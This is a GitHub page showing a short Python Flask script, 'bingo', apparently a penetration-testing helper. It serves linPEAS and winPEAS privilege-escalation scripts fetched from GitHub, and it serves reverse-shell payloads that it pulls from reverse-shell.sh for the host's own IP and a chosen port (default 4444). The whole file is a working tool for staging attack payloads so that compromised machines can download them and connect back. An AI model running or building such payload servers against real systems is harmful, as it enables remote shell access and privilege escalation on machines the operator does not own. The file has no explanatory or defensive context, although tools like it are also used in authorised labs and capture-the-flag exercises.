-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbingo
executable file
·64 lines (53 loc) · 1.92 KB
/
bingo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
from flask import Flask, request
import requests
from netifaces import interfaces, ifaddresses, AF_INET
import sys
# TODO:
# Criar um README.MD
# Criar um --help explicando cada rota
# Criar um arquiho de config (.bing_config)
app = Flask(__name__, static_folder='', static_url_path='')
net_interfaces = interfaces()
def get_interface():
return request.headers.get('Host').split(':')[0]
def get_linpeas():
url = "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh"
r = requests.get(url)
return r.text
def get_rev_shell(ip,port):
url = f'https://reverse-shell.sh/{ip}:{port}'
r = requests.get(url)
return r.text
@app.route('/winpeas')
def get_winpeas():
url = 'https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/winPEAS/winPEASbat/winPEAS.bat'
r = requests.get(url)
return r.text
@app.route('/<path:path>')
def static_file(path):
return app.send_static_file(path)
@app.route('/linpeas')
def linpeas():
return get_linpeas()
@app.route("/revshell", defaults={"port": "4444"})
@app.route('/revshell/<port>')
def revshell(port):
ip = get_interface()
return get_rev_shell(ip,port)
if __name__ == '__main__':
print('Endpoints: /linpeas, /winpeas, /revshell and /revshell/<port>')
cli = sys.modules['flask.cli']
cli.show_server_banner = lambda *x: None
try:
interface = next(filter(lambda x: x in net_interfaces, ['tun0', 'eth0', 'wlan0']))
print(f"Your ip is: {ifaddresses(interface)[2][0]['addr']}")
except StopIteration:
print('We couldn\'t find your net interface :(')
if len(sys.argv) > 1 and int(sys.argv[1]) < 65535 and int(sys.argv[1]) >= 1:
try:
app.run(host='0.0.0.0', port=sys.argv[1])
except ValueError:
print('You can only use numbers as ports.')
else:
app.run(host='0.0.0.0', port=8000)